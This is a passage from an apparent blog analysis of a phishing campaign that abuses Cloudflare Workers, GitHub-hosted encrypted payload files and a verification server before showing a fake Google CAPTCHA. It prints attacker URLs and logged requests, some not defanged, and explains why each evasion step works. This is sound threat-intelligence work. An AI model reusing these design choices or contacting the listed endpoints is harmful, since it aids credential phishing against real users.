URL:</p><pre><code><code>https://mute-bar-10df.seanco1212.workers[.]dev/#Yz0xJI9oPT12R2xIS08--</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Qn7b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Qn7b!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 424w, https://substackcdn.com/image/fetch/$s_!Qn7b!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 848w, https://substackcdn.com/image/fetch/$s_!Qn7b!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 1272w, https://substackcdn.com/image/fetch/$s_!Qn7b!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Qn7b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png" width="1456" height="191" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:191,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:131040,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Qn7b!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 424w, https://substackcdn.com/image/fetch/$s_!Qn7b!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 848w, https://substackcdn.com/image/fetch/$s_!Qn7b!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 1272w, https://substackcdn.com/image/fetch/$s_!Qn7b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45b97e83-2a30-4a9b-a2ec-6802618faf1f_1812x238.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>At this stage, the fragment still contains the Base64-encoded tracking data generated on the previous page.</p><h3>Redirect #2: Hash Decoded</h3><p>The Cloudflare Worker decodes the hash fragment and reloads the page, converting part of the decoded value into URL parameters:</p><pre><code><code>https://mute-bar-10df.seanco1212.workers[.]dev/?c=1#26GlHKO</code> 
<em>Note: link disabled by adding [.] on the to prevent accidental click.</em></code></pre><p>This transition marks the first time the tracking data becomes visible to server-side logic. The decoded values are now usable by backend scripts for validation and routing decisions.</p><p>At this point, the page displays a fake loading screen, intended to delay the victim while backend checks are performed.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wE3H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wE3H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 424w, https://substackcdn.com/image/fetch/$s_!wE3H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 848w, https://substackcdn.com/image/fetch/$s_!wE3H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 1272w, https://substackcdn.com/image/fetch/$s_!wE3H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wE3H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png" width="1456" height="1088" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1088,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:604289,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wE3H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 424w, https://substackcdn.com/image/fetch/$s_!wE3H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 848w, https://substackcdn.com/image/fetch/$s_!wE3H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 1272w, https://substackcdn.com/image/fetch/$s_!wE3H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc24601b-1a76-466c-987b-a34742c76fcf_1814x1356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Multiple variations of this loading screen were observed, suggesting either simple A/B testing or conditional rendering based on backend responses.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!koRz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!koRz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 424w, https://substackcdn.com/image/fetch/$s_!koRz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 848w, https://substackcdn.com/image/fetch/$s_!koRz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 1272w, https://substackcdn.com/image/fetch/$s_!koRz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!koRz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png" width="1456" height="1093" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1093,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1292255,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!koRz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 424w, https://substackcdn.com/image/fetch/$s_!koRz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 848w, https://substackcdn.com/image/fetch/$s_!koRz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 1272w, https://substackcdn.com/image/fetch/$s_!koRz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ac4a21c-a7a7-4786-86c5-814fb5b792c6_1812x1360.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>Network Traffic Analysis</h4><p>The <a href="https://urlscan.io/result/019c2585-5190-76f1-85ff-2972d853b1f8/dom/">URLScan.io results</a> for this page reveal the full server-side orchestration happening behind the loading screen. The browser network inspector shows 14 HTTP transactions with a mix of successful and failed requests, providing insight into the attack&#8217;s infrastructure redundancy and anti-analysis measures.</p><ul><li><p>Requests to GitHub-hosted JSON files containing encrypted payload data.</p></li><li><p>Calls to verification endpoints used to validate the victim session</p></li><li><p>Requests to infrastructure responsible for tracking and routing decisions</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CAgR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CAgR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 424w, https://substackcdn.com/image/fetch/$s_!CAgR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 848w, https://substackcdn.com/image/fetch/$s_!CAgR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 1272w, https://substackcdn.com/image/fetch/$s_!CAgR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CAgR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:314622,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CAgR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 424w, https://substackcdn.com/image/fetch/$s_!CAgR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 848w, https://substackcdn.com/image/fetch/$s_!CAgR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 1272w, https://substackcdn.com/image/fetch/$s_!CAgR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a310c07-9e29-482d-a1c6-a99a27e49726_1892x1064.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>Successful Resource Requests</h4><p>The page successfully loads four critical resources that drive the phishing operation:</p><h4>GitHub-Hosted Payload Files:</h4><pre><code>GET https://raw.githubusercontent[.]com/laurseraph-svg/oatedbilly/main/ramen_p.json
Status: 200 | Size: 161 KB | Server: Fastly CDN (185.199.109.133)
{"v":1,"d":"8yyGeh2bLgWq460Fp5oDUnEwsucoAGhhHFAd5JUVxZEwQNaX8QQpDZ...

GET https://raw.githubusercontent[.]com/laurseraph-svg/oatedbilly/main/cap_ram.json
Status: 200 | Size: 88 KB | Server: Fastly CDN (185.199.108.133)
{"v":1,"d":"-GTM7rStxej7fYCVBT3RgwWd3xkttpHbx0RKbUKlkCgyYu0Rg0EpP1gQZ2yv29boG-D...</code></pre><p>Both files have the same format: a version field (&#8221;v&#8221;: 1) and an encrypted data field (&#8221;d&#8221;). The &#8220;d&#8221; value is encoded and likely decrypts to HTML, JavaScript, or configuration data for the next stage of the phishing page.</p><p>Using GitHub is intentional because it is a trusted, reliable platform that often bypasses security filters, provides free hosting with high uptime, and allows attackers to manage and update their payloads with version control.</p><h4>Verification Server Responses:</h4><p>The verification endpoint is called twice with different response sizes, suggesting a two-phase validation process. </p><pre><code>GET https://kleavbre.site/r/cls/verified_server.php
Status: 200 | Size: 63 B | Server: Namecheap (162.254.39.240)
Response: application/json

GET https://kleavbre.site/r/cls/verified_server.php  
Status: 200 | Size: 344 B | Server: Namecheap (162.254.39.240)
Response: text/plain</code></pre><p>The first request (63 bytes) likely returns a simple JSON validation response, possibly a boolean or session token confirming the visitor passed initial checks. </p><p>The second request (344 bytes) returns a larger text/plain response, which may contain routing instructions, configuration parameters, or the decryption key needed to unlock the payload data from the GitHub JSON files.</p><h4>Purpose of the Server-Side Layer</h4><p>This server-side phase supports the phishing operation by making it more resilient and harder to detect:</p><ul><li><p><strong>Decode and validate victim tracking data</strong>: Verification endpoints decode and check hash parameters to ensure the visitor followed the intended attack path, preventing direct access to phishing pages and limiting access to users who clicked the original malicious link.</p></li><li><p><strong>Control progression through the attack chain</strong>: Payloads are delivered only after successful validation, giving the attacker control over who sees specific content, while suspicious traffic can be dropped or redirected to benign pages.</p></li><li><p><strong>Fetch and deliver updated payload components</strong>: GitHub-hosted JSON files can be updated in real time without redeploying Cloudflare Workers or related infrastructure, allowing rapid design changes, A/B testing of lures, and quick pivots when detection occurs.</p></li><li><p><strong>Centralize logic for operational flexibility</strong>: Backend-based decision logic allows changes to routing, targeting, and payload delivery without modifying frontend pages, improving scalability and making static analysis more difficult.</p></li><li><p><strong>Infrastructure resilience</strong>: Multiple verification domains and platforms provide redundancy, so if one endpoint is blocked or taken down, others can continue serving the attack chain.</p></li></ul><p>By placing this logic behind Cloudflare Workers and external validation servers, the attacker separates presentation from control. This makes the operation more resilient to takedowns, harder to analyze through automated scanners, and easier to maintain at scale across multiple simultaneous campaigns.</p><p>Once these checks complete successfully and the payloads are decrypted, the victim is forwarded to the next stage of the attack, where interactive phishing and credential capture begin.</p><div><hr></div><h2>Part 3: Phishing Page (CAPTCHA)</h2><p>After passing through the validation layer, the victim lands on a CAPTCHA page designed to appear as a legitimate Google security check. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!M6WI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!M6WI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 424w, https://substackcdn.com/image/fetch/$s_!M6WI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 848w, https://substackcdn.com/image/fetch/$s_!M6WI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 1272w, https://substackcdn.com/image/fetch/$s_!M6WI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!M6WI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:720600,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!M6WI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 424w, https://substackcdn.com/image/fetch/$s_!M6WI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 848w, https://substackcdn.com/image/fetch/$s_!M6WI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 1272w, https://substackcdn.com/image/fetch/$s_!M6WI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f6f51c3-b294-4970-bdee-6cf44b621f6f_1808x1356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This page implements multiple layers of anti-analysis defenses while 